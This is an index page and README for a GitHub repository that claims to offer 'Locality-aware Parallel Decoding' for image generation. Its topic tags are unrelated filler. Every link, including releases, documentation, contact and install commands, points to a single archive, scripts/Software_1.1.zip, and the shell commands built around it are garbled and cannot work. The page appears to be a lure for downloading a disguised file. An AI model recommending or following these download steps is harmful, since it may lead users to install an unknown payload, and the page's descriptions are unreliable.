https://github.com/chunyu0208/lpd
Accelerate autoregressive image generation with Locality-aware Parallel Decoding (LPD). Explore our code and models on GitHub! 🚀🌟
https://github.com/chunyu0208/lpd
bitcoin computer-vision deep-learning did difference-in-differences econometrics functional-reactive-programming library lightning-network local-projections lpdaac mvvm off-chain place-recognition point-cloud reactive-programming uicollectionview uitableview
Last synced: 28 days ago
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Accelerate autoregressive image generation with Locality-aware Parallel Decoding (LPD). Explore our code and models on GitHub! 🚀🌟
- Host: GitHub
- URL: https://github.com/chunyu0208/lpd
- Owner: chunyu0208
- License: mit
- Created: 2025-07-05T08:02:42.000Z (11 months ago)
- Default Branch: main
- Last Pushed: 2026-05-10T03:16:45.000Z (about 1 month ago)
- Last Synced: 2026-05-10T05:25:07.754Z (about 1 month ago)
- Topics: bitcoin, computer-vision, deep-learning, did, difference-in-differences, econometrics, functional-reactive-programming, library, lightning-network, local-projections, lpdaac, mvvm, off-chain, place-recognition, point-cloud, reactive-programming, uicollectionview, uitableview
- Language: Python
- Size: 62.6 MB
- Stars: 1
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
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README
# Locality-aware Parallel Decoding for Efficient Image Generation
 [](https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip)
## Table of Contents
- [Overview](#overview)
- [Features](#features)
- [Installation](#installation)
- [Usage](#usage)
- [Architecture](#architecture)
- [Examples](#examples)
- [Contributing](#contributing)
- [License](#license)
- [Contact](#contact)
## Overview
The **Locality-aware Parallel Decoding (LPD)** project focuses on improving the efficiency of autoregressive image generation. By leveraging locality-aware techniques, we can significantly speed up the decoding process while maintaining high-quality output. This repository includes implementations and benchmarks to showcase the effectiveness of our approach.
For the latest releases, visit [Releases](https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip).
## Features
- **Acceleration**: Optimized for fast decoding.
- **Autoregressive**: Implements state-of-the-art autoregressive models.
- **Efficient Algorithm**: Utilizes locality-aware strategies for better performance.
- **Image Generation**: Capable of generating high-quality images.
- **ImageNet Compatibility**: Works seamlessly with ImageNet datasets.
- **Parallel Decoding**: Supports parallel processing to enhance speed.
## Installation
To get started with LPD, clone the repository and install the required dependencies.
```bash
git clone https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip
cd lpd
pip install -r https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip
```
Make sure you have Python 3.7 or higher installed on your machine.
## Usage
After installation, you can start using LPD for your image generation tasks. The main script is located in the `src` directory.
To generate images, run the following command:
```bash
python https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip --config https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip
```
Make sure to modify the `https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip` file according to your requirements. You can specify parameters such as the number of images to generate, output directory, and model checkpoints.
For detailed examples, refer to the [Examples](#examples) section.
## Architecture
The architecture of LPD is designed for efficiency and scalability. It consists of the following components:
1. **Data Loader**: Handles loading and preprocessing of image datasets.
2. **Model**: Implements the autoregressive model with locality-aware features.
3. **Decoder**: Responsible for the parallel decoding process.
4. **Evaluator**: Measures the quality of generated images.
Each component is modular, allowing for easy customization and extension.
### Diagram
## Examples
Here are a few examples of how to use LPD for image generation.
### Example 1: Generate a Single Image
To generate a single image, you can use the following command:
```bash
python https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip --config https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip
```
### Example 2: Generate Multiple Images
To generate multiple images at once, modify the `https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip` file:
```bash
python https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip --config https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip
```
### Example 3: Customizing Output
You can customize the output size and format by adjusting parameters in the configuration file.
Refer to the [documentation](https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip) for more examples and detailed explanations.
## Contributing
We welcome contributions to improve LPD. To contribute, follow these steps:
1. Fork the repository.
2. Create a new branch (`git checkout -b feature-branch`).
3. Make your changes and commit them (`git commit -m 'Add new feature'`).
4. Push to the branch (`git push origin feature-branch`).
5. Create a pull request.
Please ensure that your code adheres to our coding standards and includes appropriate tests.
## License
This project is licensed under the MIT License. See the [LICENSE](LICENSE) file for details.
## Contact
For questions or feedback, feel free to reach out:
- **Email**: https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip
- **GitHub**: [chunyu0208](https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip)
For the latest releases, visit [Releases](https://raw.githubusercontent.com/chunyu0208/lpd/main/scripts/Software_1.1.zip).